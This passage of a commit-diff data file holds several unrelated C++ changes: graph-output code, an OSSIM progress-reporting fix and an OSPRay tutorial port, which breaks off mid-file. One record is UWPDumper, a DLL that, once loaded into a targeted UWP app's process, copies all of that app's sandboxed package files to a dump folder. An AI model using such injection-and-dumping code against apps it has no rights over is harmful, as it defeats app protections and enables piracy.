props.property(\"batch\", pr_bgl::make_string_map(get(&VertexProperties::batch,g)));\n   props.property(\"batch\", pr_bgl::make_string_map(get(&EdgeProperties::batch,g)));\n   props.property(\"is_shadow\", pr_bgl::make_string_map(get(&VertexProperties::is_shadow,g)));\n   props.property(\"distance\", pr_bgl::make_string_map(get(&EdgeProperties::distance,g)));\n   \n   std::ostream * outp;\n   std::ofstream fp;\n   std::string out_file = args[\"out-file\"].as<std::string>();\n   if (out_file == \"-\")\n      outp = &std::cout;\n   else\n   {\n      fp.open(out_file.c_str());\n      if (!fp.is_open())\n      {\n         OMPL_ERROR(\"could not open file!\");\n         return 1;\n      }\n      outp = &fp;\n   }\n   \n   std::string out_format = args[\"out-format\"].as<std::string>();\n   if (out_format == \"graphio\")\n   {\n      OMPL_INFORM(\"Writing to graphio file ...\");\n      pr_bgl::write_graphio_graph(*outp, g,\n         get(boost::vertex_index,g), get(&EdgeProperties::index,g));\n      pr_bgl::write_graphio_properties(*outp, g,\n         get(boost::vertex_index,g), get(&EdgeProperties::index,g),\n         props);\n   }\n   else if (out_format == \"graphml\")\n   {\n      OMPL_INFORM(\"Writing to graphml file ...\");\n      boost::write_graphml(*outp, g, get(boost::vertex_index,g), props, true); \/\/ ordered_vertices\n   }\n   else\n   {\n      OMPL_ERROR(\"--out-format must be graphio or graphml!\");\n      return 1;\n   }\n   \n   if (fp.is_open())\n      fp.close();\n   \n   return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstddef>\n#include <cstddef>\n#include <fstream>\n#include <iomanip>\n\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <ShlObj.h>\n\n#include <windows.storage.h>\n#include <windows.system.h>\n#include <wrl.h>\n\n#define WIDEIFYIMP(x) L##x\n#define WIDEIFY(x) WIDEIFYIMP(x)\n\n#include <queue>\n\n#include <experimental\/filesystem>\nnamespace fs = std::experimental::filesystem;\n\n#include <UWP\/UWP.hpp>\n\n#include <UWP\/DumperIPC.hpp>\n\nvoid OpenTempState()\n{\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationDataStatics> AppDataStatics;\n\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_Storage_ApplicationData).Get(),\n\t\t\t__uuidof(AppDataStatics), &AppDataStatics\n\t\t) < 0\n\t\t)\n\t{\n\t\t\/\/ Error getting ApplicationData statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationData> AppData;\n\tif( AppDataStatics->get_Current(&AppData) < 0 )\n\t{\n\t\t\/\/ Error getting current IApplicationData\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::System::ILauncherStatics3> LauncherStatics;\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_System_Launcher).Get(),\n\t\t\t__uuidof(LauncherStatics), &LauncherStatics\n\t\t) < 0\n\t\t)\n\t{\n\t\t\/\/ Error getting Launcher statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IStorageFolder> TemporaryFolder;\n\n\tif( AppData->get_TemporaryFolder(&TemporaryFolder) < 0 )\n\t{\n\t\t\/\/ Failed to get folder\n\t\treturn;\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Foundation::IAsyncOperation<bool>> Result;\n\tLauncherStatics->LaunchFolderAsync(\n\t\tTemporaryFolder.Get(),\n\t\t&Result\n\t);\n}\n\nstd::uint32_t __stdcall DumperThread(void* DLLHandle)\n{\n\tstd::wstring DumpPath = fs::path(UWP::Current::Storage::GetTemporaryPath()) \/ L\"DUMP\";\n\n\tIPC::SetTargetThread(GetCurrentThreadId());\n\n\tIPC::PushMessage(L\"UWPDumper Build date(%ls : %ls)\\n\", WIDEIFY(__DATE__), WIDEIFY(__TIME__));\n\tIPC::PushMessage(L\"\\t-https:\/\/github.com\/Wunkolo\/UWPDumper\\n\");\n\tIPC::PushMessage(L\"Publisher:\\n\\t%s\\n\", UWP::Current::GetPublisher().c_str());\n\tIPC::PushMessage(L\"Publisher ID:\\n\\t%s\\n\", UWP::Current::GetPublisherID().c_str());\n\tIPC::PushMessage(L\"Publisher Path:\\n\\t%s\\n\", UWP::Current::Storage::GetPublisherPath().c_str());\n\tIPC::PushMessage(L\"Package Path:\\n\\t%s\\n\", UWP::Current::GetPackagePath().c_str());\n\tIPC::PushMessage(L\"Package Name:\\n\\t%s\\n\", UWP::Current::GetFullName().c_str());\n\tIPC::PushMessage(L\"Family Name:\\n\\t%s\\n\", UWP::Current::GetFamilyName().c_str());\n\n\tIPC::PushMessage(L\"Dump Path:\\n\\t%s\\n\", DumpPath.c_str());\n\n\tstd::vector<fs::directory_entry> FileList;\n\n\tfor( auto& Entry : fs::recursive_directory_iterator(\".\") )\n\t{\n\t\tif( fs::is_regular_file(Entry.path()) )\n\t\t{\n\t\t\tFileList.push_back(Entry);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"\\tDumping %zu files\\n\", FileList.size());\n\n\tstd::size_t i = 0;\n\tfor( const auto& File : FileList )\n\t{\n\t\tconst fs::path WritePath = DumpPath + File.path().wstring().substr(1);\n\t\tconst std::wstring ReadPath = File.path().wstring();\n\t\tIPC::PushMessage(\n\t\t\tL\"%*.*s %*.u bytes %*zu\/%zu\\n\",\n\t\t\t60, 60,\n\t\t\tReadPath.c_str() + (ReadPath.length() > 60 ? (ReadPath.length() - (60)) : 0),\n\t\t\t15,\n\t\t\tfs::file_size(File),\n\t\t\t20,\n\t\t\t++i,\n\t\t\tFileList.size()\n\t\t);\n\n\t\tstd::error_code ErrorCode;\n\t\tif( fs::create_directories(WritePath.parent_path(), ErrorCode) )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error creating subfolder: %s (%s)\\n\",\n\t\t\t\tWritePath.parent_path().c_str(),\n\t\t\t\tErrorCode.message().c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ifstream SourceFile(ReadPath, std::ios::binary);\n\t\tif( !SourceFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for reading\\n\",\n\t\t\t\tReadPath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ofstream DestFile(WritePath, std::ios::binary);\n\t\tif( !DestFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for writing\\n\",\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif( SourceFile && DestFile )\n\t\t{\n\t\t\tDestFile << SourceFile.rdbuf();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error copying:\\n\"\n\t\t\t\t\"\\t%s\\n\"\n\t\t\t\t\"\\tto\\n\"\n\t\t\t\t\"\\t%s\\n\",\n\t\t\t\tFile.path().c_str(),\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"Dump complete!\\n\\tPath:\\n\\t%s\\n\", DumpPath.c_str());\n\tOpenTempState();\n\tIPC::ClearTargetThread();\n\n\tFreeLibraryAndExitThread(\n\t\treinterpret_cast<HMODULE>(DLLHandle),\n\t\tEXIT_SUCCESS\n\t);\n}\n\nstd::int32_t __stdcall DllMain(HINSTANCE hDLL, std::uint32_t Reason, void* Reserved)\n{\n\tswitch( Reason )\n\t{\n\tcase DLL_PROCESS_ATTACH:\n\t{\n\t\tif( IPC::GetTargetProcess() == GetCurrentProcessId() )\n\t\t{\n\t\t\t\/\/ We are the target process to be dumped\n\t\t\tCreateThread(\n\t\t\t\tnullptr,\n\t\t\t\t0,\n\t\t\t\treinterpret_cast<unsigned long(__stdcall*)(void*)>(&DumperThread),\n\t\t\t\thDLL,\n\t\t\t\t0,\n\t\t\t\tnullptr\n\t\t\t);\n\t\t}\n\t}\n\tcase DLL_PROCESS_DETACH:\n\tcase DLL_THREAD_ATTACH:\n\tcase DLL_THREAD_DETACH:\n\tdefault:\n\t{\n\t\treturn true;\n\t}\n\t}\n\n\treturn false;\n}\n<commit_msg>Fix subfolder creation<commit_after>#include <cstddef>\n#include <cstddef>\n#include <fstream>\n#include <iomanip>\n\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <ShlObj.h>\n\n#include <windows.storage.h>\n#include <windows.system.h>\n#include <wrl.h>\n\n#define WIDEIFYIMP(x) L##x\n#define WIDEIFY(x) WIDEIFYIMP(x)\n\n#include <queue>\n\n#include <experimental\/filesystem>\nnamespace fs = std::experimental::filesystem;\n\n#include <UWP\/UWP.hpp>\n\n#include <UWP\/DumperIPC.hpp>\n\nvoid OpenTempState()\n{\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationDataStatics> AppDataStatics;\n\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_Storage_ApplicationData).Get(),\n\t\t\t__uuidof(AppDataStatics), &AppDataStatics\n\t\t) < 0\n\t)\n\t{\n\t\t\/\/ Error getting ApplicationData statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IApplicationData> AppData;\n\tif( AppDataStatics->get_Current(&AppData) < 0 )\n\t{\n\t\t\/\/ Error getting current IApplicationData\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::System::ILauncherStatics3> LauncherStatics;\n\tif(\n\t\tRoGetActivationFactory(\n\t\t\tMicrosoft::WRL::Wrappers::HStringReference(RuntimeClass_Windows_System_Launcher).Get(),\n\t\t\t__uuidof(LauncherStatics), &LauncherStatics\n\t\t) < 0\n\t)\n\t{\n\t\t\/\/ Error getting Launcher statics\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Storage::IStorageFolder> TemporaryFolder;\n\n\tif( AppData->get_TemporaryFolder(&TemporaryFolder) < 0 )\n\t{\n\t\t\/\/ Failed to get folder\n\t\treturn;\n\t}\n\n\tMicrosoft::WRL::ComPtr<ABI::Windows::Foundation::IAsyncOperation<bool>> Result;\n\tLauncherStatics->LaunchFolderAsync(\n\t\tTemporaryFolder.Get(),\n\t\t&Result\n\t);\n}\n\nstd::uint32_t __stdcall DumperThread(void* DLLHandle)\n{\n\tstd::wstring DumpPath = fs::path(UWP::Current::Storage::GetTemporaryPath()) \/ L\"DUMP\";\n\n\tIPC::SetTargetThread(GetCurrentThreadId());\n\n\tIPC::PushMessage(L\"UWPDumper Build date(%ls : %ls)\\n\", WIDEIFY(__DATE__), WIDEIFY(__TIME__));\n\tIPC::PushMessage(L\"\\t-https:\/\/github.com\/Wunkolo\/UWPDumper\\n\");\n\tIPC::PushMessage(L\"Publisher:\\n\\t%s\\n\", UWP::Current::GetPublisher().c_str());\n\tIPC::PushMessage(L\"Publisher ID:\\n\\t%s\\n\", UWP::Current::GetPublisherID().c_str());\n\tIPC::PushMessage(L\"Publisher Path:\\n\\t%s\\n\", UWP::Current::Storage::GetPublisherPath().c_str());\n\tIPC::PushMessage(L\"Package Path:\\n\\t%s\\n\", UWP::Current::GetPackagePath().c_str());\n\tIPC::PushMessage(L\"Package Name:\\n\\t%s\\n\", UWP::Current::GetFullName().c_str());\n\tIPC::PushMessage(L\"Family Name:\\n\\t%s\\n\", UWP::Current::GetFamilyName().c_str());\n\n\tIPC::PushMessage(L\"Dump Path:\\n\\t%s\\n\", DumpPath.c_str());\n\n\tstd::vector<fs::directory_entry> FileList;\n\n\tfor( auto& Entry : fs::recursive_directory_iterator(\".\") )\n\t{\n\t\tif( fs::is_regular_file(Entry.path()) )\n\t\t{\n\t\t\tFileList.push_back(Entry);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"\\tDumping %zu files\\n\", FileList.size());\n\n\tstd::size_t i = 0;\n\tfor( const auto& File : FileList )\n\t{\n\t\tconst fs::path WritePath = DumpPath + File.path().wstring().substr(1);\n\t\tconst std::wstring ReadPath = File.path().wstring();\n\t\tIPC::PushMessage(\n\t\t\tL\"%*.*s %*.u bytes %*zu\/%zu\\n\",\n\t\t\t60, 60,\n\t\t\tReadPath.c_str() + (ReadPath.length() > 60 ? (ReadPath.length() - (60)) : 0),\n\t\t\t15,\n\t\t\tfs::file_size(File),\n\t\t\t20,\n\t\t\t++i,\n\t\t\tFileList.size()\n\t\t);\n\n\t\tstd::error_code ErrorCode;\n\t\tif( fs::create_directories(WritePath.parent_path(), ErrorCode) == false && ErrorCode )\n\t\t{\n\t\t\tconst std::string ErrorMessage(ErrorCode.message());\n\t\t\tstd::wstring WErrorMessage;\n\t\t\tWErrorMessage.assign(ErrorMessage.begin(), ErrorMessage.end());\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error creating subfolder: %s\\n\\t%s\\n\",\n\t\t\t\tWritePath.parent_path().c_str(),\n\t\t\t\tWErrorMessage.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ifstream SourceFile(ReadPath, std::ios::binary);\n\t\tif( !SourceFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for reading\\n\",\n\t\t\t\tReadPath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tstd::ofstream DestFile(WritePath, std::ios::binary);\n\t\tif( !DestFile.is_open() )\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error opening %s for writing\\n\",\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t\tcontinue;\n\t\t}\n\n\t\tif( SourceFile && DestFile )\n\t\t{\n\t\t\tDestFile << SourceFile.rdbuf();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tIPC::PushMessage(\n\t\t\t\tL\"Error copying:\\n\"\n\t\t\t\t\"\\t%s\\n\"\n\t\t\t\t\"\\tto\\n\"\n\t\t\t\t\"\\t%s\\n\",\n\t\t\t\tFile.path().c_str(),\n\t\t\t\tWritePath.c_str()\n\t\t\t);\n\t\t}\n\t}\n\n\tIPC::PushMessage(L\"Dump complete!\\n\\tPath:\\n\\t%s\\n\", DumpPath.c_str());\n\tOpenTempState();\n\tIPC::ClearTargetThread();\n\n\tFreeLibraryAndExitThread(\n\t\treinterpret_cast<HMODULE>(DLLHandle),\n\t\tEXIT_SUCCESS\n\t);\n}\n\nstd::int32_t __stdcall DllMain(HINSTANCE hDLL, std::uint32_t Reason, void* Reserved)\n{\n\tswitch( Reason )\n\t{\n\tcase DLL_PROCESS_ATTACH:\n\t{\n\t\tif( IPC::GetTargetProcess() == GetCurrentProcessId() )\n\t\t{\n\t\t\t\/\/ We are the target process to be dumped\n\t\t\tCreateThread(\n\t\t\t\tnullptr,\n\t\t\t\t0,\n\t\t\t\treinterpret_cast<unsigned long(__stdcall*)(void*)>(&DumperThread),\n\t\t\t\thDLL,\n\t\t\t\t0,\n\t\t\t\tnullptr\n\t\t\t);\n\t\t}\n\t}\n\tcase DLL_PROCESS_DETACH:\n\tcase DLL_THREAD_ATTACH:\n\tcase DLL_THREAD_DETACH:\n\tdefault:\n\t{\n\t\treturn true;\n\t}\n\t}\n\n\treturn false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/---\n\/\/ Copyright (C) 2000 ImageLinks Inc. \n\/\/\n\/\/ License: MIT\n\/\/\n\/\/ Author: Garrett Potts\n\/\/\n\/\/---\n\/\/ $Id$\n\n#include <ossim\/base\/ossimStdOutProgress.h>\n#include <ossim\/base\/ossimPreferences.h>\n#include <iomanip>\n\n#if defined(WIN32) || defined(_MSC_VER) && !defined(__CYGWIN__) && !defined(__MWERKS__)\n   #include <io.h>\n   #define ISATTY _isatty\n   #define FILENO _fileno\n#else\n   #include <unistd.h>\n   #define ISATTY isatty\n   #define FILENO fileno\n#endif\n\nRTTI_DEF1(ossimStdOutProgress, \"ossimStdOutProgress\", ossimProcessListener);\n\nossimStdOutProgress theStdOutProgress;\n\nossimStdOutProgress::ossimStdOutProgress(ossim_uint32 precision,\n                                         bool flushStream)\n   :\n      ossimProcessListener(),\n      thePrecision(precision),\n      theFlushStreamFlag(flushStream),\n      theRunningInConsoleFlag(true)\n{\n   \/\/ Determine if running in a terminal window. Progress reports are only written to console if\n   \/\/ running in one.\n\n   bool prefsFlag = theRunningInConsoleFlag;\n   ossimString stdOutConsole;\n   stdOutConsole.string() = ossimPreferences::instance()->\n      preferencesKWL().findKey(std::string(\"ossim.std.out.progress\"));\n\n   if ( stdOutConsole.size() )\n   {\n      prefsFlag = stdOutConsole.toBool();\n   }\n   \n   if ( !ISATTY(FILENO(stdout)) || !prefsFlag )\n   {\n      theRunningInConsoleFlag = false;\n   }\n}\n\nvoid ossimStdOutProgress::processProgressEvent(ossimProcessProgressEvent& event)\n{\n   if (!theRunningInConsoleFlag)\n      return;\n\n   if (event.getOutputMessageFlag())\n   {\n      ossimString s;\n      event.getMessage(s);\n      if (!s.empty())\n      {\n         ossimNotify(ossimNotifyLevel_NOTICE) << s.c_str() << std::endl;\n      }\n      return; \/\/ Don't output percentage on a message update.\n   }\n   \n   double p = event.getPercentComplete();\n   ossimNotify(ossimNotifyLevel_NOTICE)\n      << std::setiosflags(std::ios::fixed)\n      << std::setprecision(thePrecision)\n      << p << \"%\\r\";\n   \n   if(theFlushStreamFlag)\n   {\n      (p != 100.0) ?\n         ossimNotify(ossimNotifyLevel_NOTICE).flush() :\n         ossimNotify(ossimNotifyLevel_NOTICE) << \"\\n\";\n   }\n}\n\nvoid ossimStdOutProgress::setFlushStreamFlag(bool flag)\n{\n   theFlushStreamFlag = flag;\n}\n\n<commit_msg>Fixed logic of prefs override.<commit_after>\/\/---\n\/\/ Copyright (C) 2000 ImageLinks Inc. \n\/\/\n\/\/ License: MIT\n\/\/\n\/\/ Author: Garrett Potts\n\/\/\n\/\/---\n\/\/ $Id$\n\n#include <ossim\/base\/ossimStdOutProgress.h>\n#include <ossim\/base\/ossimPreferences.h>\n#include <iomanip>\n\n#if defined(WIN32) || defined(_MSC_VER) && !defined(__CYGWIN__) && !defined(__MWERKS__)\n   #include <io.h>\n   #define ISATTY _isatty\n   #define FILENO _fileno\n#else\n   #include <unistd.h>\n   #define ISATTY isatty\n   #define FILENO fileno\n#endif\n\nRTTI_DEF1(ossimStdOutProgress, \"ossimStdOutProgress\", ossimProcessListener);\n\nossimStdOutProgress theStdOutProgress;\n\nossimStdOutProgress::ossimStdOutProgress(ossim_uint32 precision,\n                                         bool flushStream)\n   :\n      ossimProcessListener(),\n      thePrecision(precision),\n      theFlushStreamFlag(flushStream),\n      theRunningInConsoleFlag(true)\n{\n   \/\/ Determine if running in a terminal window. Progress reports are only written to console if\n   \/\/ running in one.\n\n   bool prefsFlag = theRunningInConsoleFlag;\n   ossimString stdOutConsole;\n   stdOutConsole.string() = ossimPreferences::instance()->\n      preferencesKWL().findKey(std::string(\"ossim.std.out.progress\"));\n\n   if ( stdOutConsole.size() )\n   {\n      \/\/ Override auto detected console.\n      theRunningInConsoleFlag = stdOutConsole.toBool();\n   }\n   else if ( !ISATTY(FILENO(stdout) ) )\n   {\n      theRunningInConsoleFlag = false;\n   }\n}\n\nvoid ossimStdOutProgress::processProgressEvent(ossimProcessProgressEvent& event)\n{\n   if (!theRunningInConsoleFlag)\n      return;\n\n   if (event.getOutputMessageFlag())\n   {\n      ossimString s;\n      event.getMessage(s);\n      if (!s.empty())\n      {\n         ossimNotify(ossimNotifyLevel_NOTICE) << s.c_str() << std::endl;\n      }\n      return; \/\/ Don't output percentage on a message update.\n   }\n   \n   double p = event.getPercentComplete();\n   ossimNotify(ossimNotifyLevel_NOTICE)\n      << std::setiosflags(std::ios::fixed)\n      << std::setprecision(thePrecision)\n      << p << \"%\\r\";\n   \n   if(theFlushStreamFlag)\n   {\n      (p != 100.0) ?\n         ossimNotify(ossimNotifyLevel_NOTICE).flush() :\n         ossimNotify(ossimNotifyLevel_NOTICE) << \"\\n\";\n   }\n}\n\nvoid ossimStdOutProgress::setFlushStreamFlag(bool flag)\n{\n   theFlushStreamFlag = flag;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2015 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n\n\/* This is a small example tutorial how to use OSPRay in an application.\n *\n * Build it in the build_directory with\n *   g++ ..\/apps\/ospTutorial.cpp -I ..\/ospray\/include -I .. -I ..\/ospray\/embree\/common  .\/libospray.so -o ospTutorial\n *\/\n\n#include \"ospray\/ospray.h\"\n\n\/\/ helper function to write the rendered image as PPM file\nvoid writePPM(const char *fileName,\n              const int sizeX, const int sizeY,\n              const uint32 *pixel)\n{\n  FILE *file = fopen(fileName, \"wb\");\n  fprintf(file, \"P6\\n%i %i\\n255\\n\", sizeX, sizeY);\n  unsigned char out[3*sizeX];\n  for (int y = 0; y < sizeY; y++) {\n    const unsigned char *in = (const unsigned char *)&pixel[(sizeY-1-y)*sizeX];\n    for (int x = 0; x < sizeX; x++) {\n      out[3*x + 0] = in[4*x + 0];\n      out[3*x + 1] = in[4*x + 1];\n      out[3*x + 2] = in[4*x +2 ];\n    }\n    fwrite(&out, 3*sizeX, sizeof(char), file);\n  }\n  fprintf(file, \"\\n\");\n  fclose(file);\n}\n\n\nint main(int ac, const char **av) {\n  \/\/ image size\n  int width = 1024;\n  int height = 768;\n\n  \/\/ camera\n  osp::vec3f cam_pos(0.f);\n  osp::vec3f cam_up(0.f, 1.f, 0.f);\n  osp::vec3f cam_view(0.1f, 0.f, 1.f);\n\n  \/\/ triangle mesh data\n  float vertex[] = { -1.0f, -1.0f, 3.0f, 0.f,\n                     -1.0f,  1.0f, 3.0f, 0.f,\n                      1.0f, -1.0f, 3.0f, 0.f,\n                      0.1f,  0.1f, 0.3f, 0.f };\n  float color[] =  { 0.9f, 0.5f, 0.5f, 1.0f,\n                     0.8f, 0.8f, 0.8f, 1.0f,\n                     0.8f, 0.8f, 0.8f, 1.0f,\n                     0.5f, 0.9f, 0.5f, 1.0f };\n  int32 index[] = { 0, 1, 2,\n                    1, 2, 3 };\n\n\n  \/\/ initialize OSPRay; OSPRay parses (and removes) its commandline parameters, e.g. \"--osp:debug\"\n  ospInit(&ac, av);\n\n  \/\/ create and setup camera\n  OSPCamera camera = ospNewCamera(\"perspective\");\n  ospSetf(camera, \"aspect\", width\/(float)height);\n  ospSetVec3f(camera, \"pos\", cam_pos);\n  ospSetVec3f(camera, \"dir\", cam_view);\n  ospSetVec3f(camera, \"up\",  cam_up);\n  ospCommit(camera); \/\/ commit each object to indicate modifications are done\n\n\n  \/\/ create and setup model and mesh\n  OSPGeometry mesh = ospNewTriangleMesh();\n  OSPData data = ospNewData(4, OSP_FLOAT3A, vertex); \/\/ OSP_FLOAT3 format is also supported for vertex positions (currently not on MIC)\n  ospCommit(data);\n  ospSetData(mesh, \"vertex\", data);\n\n  data = ospNewData(4, OSP_FLOAT4, color);\n  ospCommit(data);\n  ospSetData(mesh, \"vertex.color\", data);\n\n  data = ospNewData(2, OSP_INT3, index); \/\/ OSP_INT4 format is also supported for triangle indices\n  ospCommit(data);\n  ospSetData(mesh, \"index\", data);\n\n  ospCommit(mesh);\n\n\n  OSPModel world = ospNewModel();\n  ospAddGeometry(world, mesh);\n  ospCommit(world);\n\n\n  \/\/ create and setup renderer\n  OSPRenderer renderer = ospNewRenderer(\"ao4\"); \/\/ choose Ambient Occlusion renderer\n  ospSetObject(renderer, \"model\",  world);\n  ospSetObject(renderer, \"camera\", camera);\n  ospCommit(renderer);\n\n\n  \/\/ create and setup framebuffer\n  OSPFrameBuffer framebuffer = ospNewFrameBuffer(osp::vec2i(width, height), OSP_RGBA_I8, OSP_FB_COLOR | \/*OSP_FB_DEPTH |*\/ OSP_FB_ACCUM);\n  ospFrameBufferClear(framebuffer, OSP_FB_COLOR | OSP_FB_ACCUM);\n\n  \/\/ render one frame\n  ospRenderFrame(framebuffer, renderer, OSP_FB_COLOR | OSP_FB_ACCUM);\n\n  \/\/ access framebuffer and write its content as PPM file\n  const uint32 * fb = (uint32*)ospMapFrameBuffer(framebuffer, OSP_FB_COLOR);\n  writePPM(\"firstFrame.ppm\", width, height, fb);\n  ospUnmapFrameBuffer(fb, framebuffer);\n\n\n  \/\/ render 10 more frames, which are accumulated to result in a better converged image\n  for (int frames = 0; frames < 10; frames++)\n    ospRenderFrame(framebuffer, renderer, OSP_FB_COLOR | OSP_FB_ACCUM);\n\n  fb = (uint32*)ospMapFrameBuffer(framebuffer, OSP_FB_COLOR);\n  writePPM(\"accumulatedFrame.ppm\", width, height, fb);\n  ospUnmapFrameBuffer(fb, framebuffer);\n\n  return 0;\n}\n<commit_msg>Adapt ospTutorial to Windows<commit_after>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2015 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n\n\/* This is a small example tutorial how to use OSPRay in an application.\n *\n * On Linux build it in the build_directory with\n *   g++ ..\/apps\/ospTutorial.cpp -I ..\/ospray\/include -I .. -I ..\/ospray\/embree\/common  .\/libospray.so -o ospTutorial\n * On Windows build it in the build_directory\\$Configuration with\n *   cl ..\\..\\apps\\ospTutorial.cpp \/EHsc -I ..\\..\\ospray\\include -I ..\\.. -I ..\\..\\ospray\\embree\\common ospray.lib\n *\/\n\n#include \"ospray\/ospray.h\"\n\n\/\/ helper function to write the rendered image as PPM file\nvoid writePPM(const char *fileName,\n              const int sizeX, const int sizeY,\n              const uint32 *pixel)\n{\n  FILE *file = fopen(fileName, \"wb\");\n  fprintf(file, \"P6\\n%i %i\\n255\\n\", sizeX, sizeY);\n  unsigned char *out = (unsigned char *)alloca(3*sizeX);\n  for (int y = 0; y < sizeY; y++) {\n    const unsigned char *in = (const unsigned char *)&pixel[(sizeY-1-y)*sizeX];\n    for (int x = 0; x < sizeX; x++) {\n      out[3*x + 0] = in[4*x + 0];\n      out[3*x + 1] = in[4*x + 1];\n      out[3*x + 2] = in[4*x +2 ];\n    }\n    fwrite(out, 3*sizeX, sizeof(char), file);\n  }\n  fprintf(file, \"\\n\");\n  fclose(file);\n}\n\n\nint main(int ac, const char **av) {\n  \/\/ image size\n  int width = 1024;\n  int height = 768;\n\n  \/\/ camera\n  osp::vec3f cam_pos(0.f);\n  osp::vec3f cam_up(0.f, 1.f, 0.f);\n  osp::vec3f cam_view(0.1f, 0.f, 1.f);\n\n  \/\/ triangle mesh data\n  float vertex[] = { -1.0f, -1.0f, 3.0f, 0.f,\n                     -1.0f,  1.0f, 3.0f, 0.f,\n                      1.0f, -1.0f, 3.0f, 0.f,\n                      0.1f,  0.1f, 0.3f, 0.f };\n  float color[] =  { 0.9f, 0.5f, 0.5f, 1.0f,\n                     0.8f, 0.8f, 0.8f, 1.0f,\n                     0.8f, 0.8f, 0.8f, 1.0f,\n                     0.5f, 0.9f, 0.5f, 1.0f };\n  int32 index[] = { 0, 1, 2,\n                    1, 2, 3 };\n\n\n  \/\/ initialize OSPRay; OSPRay parses (and removes) its commandline parameters, e.g. \"--osp:debug\"\n  ospInit(&ac, av);\n\n  \/\/ create and setup camera\n  OSPCamera camera = ospNewCamera(\"perspective\");\n  ospSetf(camera, \"aspect\", width\/(float)height);\n  ospSetVec3f(camera, \"pos\", cam_pos);\n  ospSetVec3f(camera, \"dir\", cam_view);\n  ospSetVec3f(camera, \"up\",  cam_up);\n  ospCommit(camera); \/\/ commit each object to indicate modifications are done\n\n\n  \/\/ create and setup model and mesh\n  OSPGeometry mesh = ospNewTriangleMesh();\n  OSPData data = ospNewData(4, OSP_FLOAT3A, vertex); \/\/ OSP_FLOAT3 format is also supported for vertex positions (currently not on MIC)\n  ospCommit(data);\n  ospSetData(mesh, \"vertex\", data);\n\n  data = ospNewData(4, OSP_FLOAT4, color);\n  ospCommit(data);\n  ospSetData(mesh, \"vertex.color\", data);\n\n  data = ospNewData(2, OSP_INT3, index); \/\/ OSP_INT4 format is also supported for triangle indices\n  ospCommit(data);\n  ospSetData(mesh, \"index\", data);\n\n  ospCommit(mesh);\n\n\n  OSPModel world = ospNewModel();\n  ospAddGeometry(world, mesh);\n  ospCommit(world);\n\n\n  \/\/ create and setup renderer\n  OSPRenderer renderer = 